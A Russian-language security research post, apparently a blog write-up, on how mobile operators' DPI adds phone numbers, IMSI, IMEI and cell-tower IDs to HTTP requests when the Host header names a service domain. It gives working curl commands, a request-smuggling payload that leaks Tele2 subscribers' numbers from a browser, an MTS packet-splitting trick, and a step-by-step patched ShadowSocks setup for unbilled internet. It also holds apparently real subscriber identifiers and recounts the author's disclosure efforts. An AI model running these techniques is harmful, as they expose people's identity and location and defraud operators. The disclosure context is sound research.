DPI мобильных операторов: от бесплатного интернета до раскрытия номера и местоположения

Системы глубокого анализа трафика (Deep Packet Inspection, DPI) — программно-аппаратные комплексы для классификации проходящего интернет-трафика по типу данных (веб-страница, документ, аудио, видео), протоколу (HTTP, BitTorrent, VoIP/SIP) и конкретным программам (Skype, WhatsApp), зачастую обладающие дополнительной функциональностью. Системы DPI распространены и используются по всему миру продвайдерами проводного и беспроводного доступа.

Мобильные операторы используют системы глубокого анализа трафика, прежде всего, для приоритизации разного контента в интернете (QoS), чтобы можно было одновременно скачивать большой файл и смотреть видео на YouTube, и чтобы один пользователь сотовой сети, активно использующий интернет, не создавал проблем другим пользователям. Операторы используют DPI примерно с начала двухтысячных, с приходом UMTS (3G), чтобы более-менее честно разделять беспроводной канал ограниченной пропускной способности.

Мобильные операторы используют и другие возможности DPI, например, ускорение TCP и HTTP-трафика (TCP PEP, Performance-enhancing Proxy), для ускорения интернета в мобильных сетях и идентификации пользователей веб-сайтами. Если попытаться зайти в личный кабинет оператора с телефона, на многих операторах он откроется сразу, без необходимости ввода логина и пароля. Или, что можно было встретить лет 5 назад, простой заход на подозрительный веб-сайт или клик по рекламному баннеру из Android-игры оборачивался автоматической подпиской на платную услугу, о чем можно было узнать из СМС-сообщения.

Как это работает

Система глубокого анализа трафика настроена так, что добавляет служебные HTTP-заголовки при выполнении HTTP-запроса на сайты (хосты) из списка, определяемого оператором. В заголовках может содержаться внутренний IP-адрес абонента, номер телефона (MSISDN), IMEI и IMSI-идентификаторы, идентификатор базовой станции (вышки), к которой подключен абонент (ECI/TAC).

Нам потребуется установить на сервер в интернете простой HTTP-сервер, который будет принимать запрос, показывать его на экране, и отправлять HTTP-ответ. Что-то вроде этого:

#!/usr/bin/env python3
import socketserver

class MyTCPHandler(socketserver.BaseRequestHandler):
    def handle(self):
        while True:
            r = self.request.recv(8192)
            if b"\r\n\r\n" in r or b"\n\n" in r:
                break
            if not r:
                return
        print("-----\r\n" + r.decode() + "-----")
        self.request.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\n")
        self.request.sendall(b"OK")
        return

if __name__ == "__main__":
    HOST, PORT = "0.0.0.0", 80
    socketserver.ForkingTCPServer.allow_reuse_address = True
    server = socketserver.ForkingTCPServer((HOST, PORT), MyTCPHandler)
    server.allow_reuse_address = True
    server.serve_forever()

Отправим HTTP-запрос, используя SIM-карту Мегафон:

$ curl myserver.com
OK

На сервер пришло:

GET / HTTP/1.1
Host: myserver.com
User-Agent: curl/7.51.0
Accept: */*

Ничего необычного. Изменим заголовок Host на какой-нибудь внутренний домен оператора, например, на основной сайт megafon.ru:

$ curl myserver.com -H "Host: megafon.ru"

На сервере:

GET / HTTP/1.1
Host: megafon.ru
User-Agent: curl/7.51.0
Accept: */*
X-Real-IP: 100.114.20.123
X-NOKIA-MSISDN: 79319350195

На сервер пришли не только HTTP-заголовки, отправленные curl, но и дополнительные заголовки X-Real-IP и X-NOKIA-MSISDN, содержащие внутренний IP-адрес (за Carrier-grade NAT) и номер телефона!

Почему так получилось? По всей видимости, при составлении списка забыли привязать конкретные домены к конкретным IP-адресам или диапазонам, и проверка открытия сайта из листа выполняется только сравнением HTTP-заголовка Host.

Зачастую, доступ к внутренним сайтам не тарифицируется операторами, что позволяет получить бесплатный интернет простой подменой заголовка Host HTTP-запроса.

Особенные хосты

Мегафон

У Мегафона есть множество внутренних хостов, для которых DPI добавляет различные заголовки:

• welcome.megafonnw.ru добавляет заголовок X-MegaFon-IMSI с идентификатором SIM-карты (IMSI)
• wap.megafon.ru добавляет X-Megafon-IMEISV с идентификатором телефона (IMEI)
• id.megafon.ru раскрывает номера вышек, к которым подключен телефон в данный момент, в заголовках X-Megafon-TAC и X-Megafon-ECI
• Сайт конкретного региона (например, szfwp.megafon.ru) добавляет заголовок X-3GPP-USER-LOCATION-INFO

Также служебные заголовки добавляются для zg.megafon.ru, m.megafon.ru и igapi.megafon.ru.

Скрытый текст

GET / HTTP/1.1
Host: welcome.megafonnw.ru
User-Agent: curl/7.51.0
Accept: */*
X-MegaFon-IMSI: 250021075120189
X-NOKIA-MSISDN: 79319350195

-----
GET / HTTP/1.1
Host: wap.megafon.ru
User-Agent: curl/7.51.0
Accept: */*
X-3GPP-SGSN-MCC-MNC: 25002
X-MegaFon-APN: internet
X-3GPP-SGSN-IP: 83.149.50.45
X-NOKIA-MSISDN: 79319350195
X-MegaFon-IP: 100.114.20.123
X-Megafon-IMEISV: 456745268125902

-----
GET / HTTP/1.1
Host: m.megafon.ru
User-Agent: curl/7.51.0
Accept: */*
X-NOKIA-MSISDN: 79319350195
X-3GPP-SGSN-MCC-MNC: 25002

-----
GET / HTTP/1.1
Host: id.megafon.ru
User-Agent: curl/7.51.0
Accept: */*
X-NOKIA-MSISDN: 79319350190
X-Megafon-TAC: 1FB1
X-Megafon-ECI: AB82375

Теле2

Существовали специальные хосты, в запросы на которые добавлялись служебные заголовки X-MSISDN и X-FORWARDED-FOR:

• login.tele2.ru
• market.tele2.ru
• oplata.tele2.ru
• play.tele2.ru
• wap.tele2.ru
• block.tele2.ru

Заголовок X-MSISDN содержал телефонный номер клиента Теле2. В заголовке X-FORWARDED-FOR находится внутренний IP-адрес клиента.

Tele2 использует DPI фирмы Ericsson. Его перенастроили в начале декабря, и эта проблема была устранена.

Пример запроса:

Скрытый текст

    Клиент:

GET / HTTP/1.0
Host: block.tele2.ru
User-Agent: Firefox/50.0
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*

   Сервер:

GET / HTTP/1.0
X-MSISDN: 79502216411
X-FORWARDED-FOR: 10.26.60.210
Host: block.tele2.ru
User-Agent: Firefox/50.0
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*

Beeline

DPI Beeline в HTTP-запросы на любой IP-адрес с заголовком Host: balance.beeline.ru добавляются служебные заголовки X-Nokia-msisdn и IMEI:

…
X-Nokia-msisdn: 79650939376
IMEI: 49727069-021839-00

Пример запроса:

Скрытый текст

   Клиент:

GET / HTTP/1.0
Host: balance.beeline.ru
User-Agent: Firefox/50.0
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*

   Сервер:

GET / HTTP/1.0
Host: balance.beeline.ru
User-Agent: Firefox/50.0
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
X-Nokia-msisdn: 7965093xxxx
IMEI: 86875702-xxxxxx-00

Хосты beeline.ru, www.beeline.ru, spb.beeline.ru не обрабатываются DPI, к ним разрешены соединения на основе IP-адреса, а не заголовка Host.

МТС

DPI МТС добавляет служебные заголовки к следующим хостам:
* 111.mts.ru:
X-MSISDN-1hIjUVLgCcdQ: 79118141234
SGSN-MCC-MNC: 25001

* books.mts.ru:
X-MSISDN: 79118141234

* pda.mts.ru:
X-AQIC5wM2LY4SfcyEwLC5hS0e02r4: 79118141234
SGSN-MCC-MNC: 25001
X-SGSN-IP: 193.27.231.49

* h2o.mts.ru, interceptor.mts.ru, internet.mts.ru:
X-MSISDN-B0kOoE2clldi: 79118141234

Особенности обработки пакетов

Прокси-сервер Теле2 добавляет следующие заголовки для HTTP/1.0-запроса пользователя, если они отсутствуют:

Accept-Encoding: gzip, deflate
Accept: */*

И следующий заголовок в ответ сервера, если запрос был совершен по HTTP/1.1:

Transfer-Encoding: chunked

Ответ разбиваться на части (chunked-encoding) на стороне прокси.

Прокси буферизирует или не пропускает некоторые запросы, пока не дождется корректного ответа, и может разбивать большие пакеты на несколько маленьких. Ответ на GET-запрос придет только после того, как сервер начнет пересылку тела ответа. Ответ не дойдет до клиента, если сервер отправил только заголовки, без тела.
Данная особенность не распространяется на POST-запросы.

Если клиент отправил и HTTP-заголовки GET-запроса, и данные в одном пакете, они разобьются на два пакета прокси-сервером:

Скрытый текст

   Клиент:

>>>
GET / HTTP/1.0\r\n
Host: block.tele2.ru\r\n
User-Agent: Firefox/50.0\r\n
Connection: keep-alive\r\n
\r\n
testdata\r\n


   Сервер:

<<<
GET / HTTP/1.0\r\n
X-MSISDN: 7950221xxxx\r\n
X-FORWARDED-FOR: 10.26.xx.xxx\r\n
Host: block.tele2.ru\r\n
User-Agent: Firefox/50.0\r\n
Connection: keep-alive\r\n
Accept-Encoding: gzip, deflate\r\n
Accept: */*\r\n
\r\n

<<<
testdata\r\n

Данная особенность не распространяется на POST-запросы.

DPI Tele2, вероятнее всего, не сохраняет состояние соединений (stateless), и пытается искать HTTP-запрос в каждом новом TCP-сегменте, который отправляет клиент. Кроме того, запрос не обязательно должен начинаться с первого байта сегмента, а может быть разделен переносами строки. Например, следующий запрос является верным с точки зрения DPI:

\r\n
\r\n
\r\n
\r\n
GET / HTTP/1.0\r\n
Host: ya.ru\r\n
\r\n

Эту особенность можно было эксплуатировать через браузер, до тех пор, пока Tele2 не перенастроили DPI, и не ограничили служебные хосты диапазонами IP-адресов. Возможно создать такой POST-запрос типа multipart/form-data (отправка файлов), в теле которого будет заголовок нового HTTP-запроса, который DPI примет за новый запрос в рамках Keep-Alive-сессии и добавит служебные заголовки, и отправить его через браузер.

Пример запроса:

Скрытый текст

   Клиент:

>>>
POST / HTTP/1.1
Host: myserver.com
User-Agent: Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Type: multipart/form-data; boundary=---------------------------436459255605875969489380414
Content-Length: 497

-----------------------------436459255605875969489380414
Content-Disposition: form-data; name="filefile"; filename="tele2_post_test"
Content-Type: application/octet-stream

\r\n
…
\r\n
GET / HTTP/1.0\r\n
Host: login.tele2.ru\r\n
User-Agent: Firefox/50.0
\r\n
…
\r\n
---------------------------436459255605875969489380414--


   Сервер:

<<<
POST / HTTP/1.1
Host: myserver.com
User-Agent: Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Type: multipart/form-data; boundary=---------------------------436459255605875969489380414
Content-Length: 497

-----------------------------436459255605875969489380414
Content-Disposition: form-data; name="filefile"; filename="tele2_post_test"
Content-Type: application/octet-stream

\r\n
…
\r\n
X-MSISDN: 7952215xxxx\r\n
X-FORWARDED-FOR: 10.23.xxx.xx\r\n
\r\n
…
\r\n
GET / HTTP/1.0\r\n
Host: login.tele2.ru\r\n
User-Agent: Firefox/50.0
\r\n
…
---------------------------436459255605875969489380414--

Удаленный сервер получил номер пользователя. По всей видимости, это является серьезной недоработкой ПО Ericsson, и присуще не только Теле2.

DPI Билайна анализирует заголовки, сохраняет состояние HTTP-потока и замедляет или ограничивает передачу данных, если начинается нетипичная для HTTP процедура отправки, например, если клиент начинает пересылать большие потоки данных в теле GET-запроса (то, что после двойного \r\n, как если бы это был POST-запрос), или если сервер отправляет данных больше, чем указано в заголовке Content-Length. Требуется ответ на HTTP-запрос, иначе DPI не разрешит соединение.

У МТС не работает отправка больших данных в заголовках (видимо, производится проверка на длину заголовка и его значения).

Для МТС, чтобы отслеживание новых HTTP-запросов в пределах keep-alive сессии перестало работать, нужно отправить с сервера заголовки HTTP-ответа и тело HTTP-ответа отдельными пакетами, без указания Content-Length, и с заголовком Content-Type: application/octet-stream: в первом TCP-пакете передаются все заголовки, включая \r\n\r\n, а вторым и последующими пакетами — сами данные.

Скрытый текст

> GET / HTTP/1.0\r\n
Host: pda.mts.ru\r\n
\r\n

< HTTP/1.0 200 OK\r\n
Content-Type: application/octet-stream\r\n
\r\n

< ignore\r\n

Кроме того, в DPI МТС неправильно реализована обработка заголовков HTTP-запроса, и раскрытие номера телефона можно эксплуатировать из браузера. В запрос нужно добавить заголовок X-Host: pda.mts.ru с помощью Javascript, и «разрезать» запрос ровно так, чтобы в одном пакете осталось "X-", а другой начинался с "Host:". Сделать это можно манипуляцией TCP Window Size на стороне сервера.

Обход блокировки интернета

При отрицательном балансе и подключенной опции интернета, которая подразумевает блокировку доступа при исчерпании включенного пакета трафика, операторы перенаправляют все HTTP-запросы на свои собственные страницы-заглушки, расположенные, как правило, на поддоменах основного домена оператора. У МТС, Билайн и Мегафона проверка возможности доступа к сайту осуществляется путем сравнения HTTP-заголовка Host, проверка IP-адреса не выполняется. То же самое было у Теле2, до перенастройки DPI.

HTTP-запросы на любой IP-адрес и порт 80 с заголовком Host, указывающим на служебный домен, не расходуют трафик из пакета и работают даже при отрицательном балансе.
Эмпирическим путем было выяснено, что для установления двустороннего обмена и обхода блокировки достаточно отправить POST-запрос с большим значением Content-Length, а также включить Content-Length в ответ сервера:

   Клиент:

>>>
POST / HTTP/1.0\r\n
Host: %s\r\n
User-Agent: Firefox/50.0\r\n
Connection: keep-alive\r\n
Content-Type: multipart/form-data; boundary=fbfbfb\r\n
Content-Length: 999999999999\r\n
\r\n


   Сервер должен ответить:

>>>
HTTP/1.0 200 OK\r\n
Content-Length: 999999999999\r\n
\r\n

После этого можно передавать произвольные (не-HTTP) данные в обе стороны.

Я сделал патч к прокси-серверу ShadowSocks 2.5.6, который добавляет эти HTTP-заголовки в момент установки соединения:

1. Применить патч, скомпилировать
2. Создать файл /etc/shadowsocks.conf на сервере (см. ниже)
3. Запустить ss-server на сервере: ss-server -c /etc/shadowsocks.conf
4. Запустить ss-local на устройстве с 3G/LTE-подключением:
   ss-local -s SERVERIP -p 80 -l 1081 -m table -k verysecretpassword -H DOMAIN
   где DOMAIN:
   unblock.mts.ru или bonus.mts.ru для МТС
   corp.megafon.ru для Мегафон
   balance.beeline.ru для Билайн
5. Настроить ваш браузер и другие программы на Socks5-прокси 127.0.0.1:1081
   Или воспользоваться ss-redir через iptables

/etc/shadowsocks.conf

{
    "server":"0.0.0.0",
    "server_port":80,
    "password":"verysecretpassword",
    "method":"table",
}

Оповещение провайдеров

В начале декабря 2016 года я попытался связаться с технической поддержкой всех четырех операторов, чтобы сообщить о проблеме. Раскрывать подробности бесплатного интернета бесплатно не слишком хотелось, поэтому я ожидал вознаграждения за сообщенную уязвимость. Чтобы все было честно, и чтобы подтвердить, что я не какой-то простофиля, просящий денег, были найдены веб-уязвимости, не связанные с DPI: у Билайна — получение доступа к личному кабинету с сайта злоумышленника, без ввода логина и пароля, у МТС — раскрытие номера телефона, баланса и тарифа с сайта злоумышленника.

МТС и Билайн отказались работать с анонимами, поэтому ровно год назад, 29 декабря 2016 года, была организована личная встреча с представителями службы безопасности МТС и Билайн, где им были переданы все подробности веб-уязвимостей. Было предложено заключить контракт на поиск уязвимостей в DPI, если их это устроит.

В течение 2017 года я неоднократно связывался с МТС и Билайн, чтобы уточнить, как продвигаются дела с закрытием веб-уязвимостей, но не получал ответа. Я писал с разных адресов email, чтобы исключить технические проблемы с доставкой почты, а также личные сообщения в Twitter.

Билайн «прикрыл» уязвимость только в конце октября — сделал так, чтобы ее нельзя было эксплуатировать через веб-браузер, но любая программа, установленная на телефоне, может до сих пор получить доступ в личный кабинет, узнать номер телефона, сменить тариф, подключить опции.

МТС до сих пор не закрыл уязвимость. Любой сайт может узнать ваш номер телефона.

Мегафон ответил на первые два сообщения, но в дальнейшем не получал ответа от них.

Единственный, кто меня порадовал — представители Теле2. Отвечали быстро и четко, предложили денежное вознаграждение.

Вывод

Любая программа, имеющая доступ в интернет на вашем телефоне с SIM Мегафон, может узнать ваше местоположение с точностью до базовой станции, номер телефона, идентификаторы IMEI и IMSI. С SIM МТС она может получить ваш номер телефона, идентификаторы IMEI и IMSI, а Билайн позволит раскрыть только номер телефона.

Веб-сайт злоумышленника, содержащий специальным образом сконструированынный запрос, позволит раскрыть ваш номер телефона на МТС.

Также, не нужно забывать про уязвимости веб-сервисов мобильных операторов, не связанных с DPI: с Билайн любая программа может получить доступ в ваш личный кабинет, узнать оттуда ваш номер телефона, баланс, тариф, подключенные опции, и может управлять ими, а с МТС — узнать ваш номер телефона и баланс.

DPI может представлять опасность. Операторы неохотно идут на контакт и исправляют уязвимости. Если вы пользуетесь МТС, Билайн или Мегафон, пишите жалобы, гнобите их.

Исследуйте и экспериментируйте!

Бонус

Зайдите на сайт loudnigra.xyz с мобильного МТС и ожидайте звонка! МТС исправили веб-уязвимось 31.12.2017. Остальные уязвимости все еще работают.

^{Бесплатный интернет и все эти заголовки работают еще на украинском Киевстаре, сербском Теленоре, латвийском Теле2.}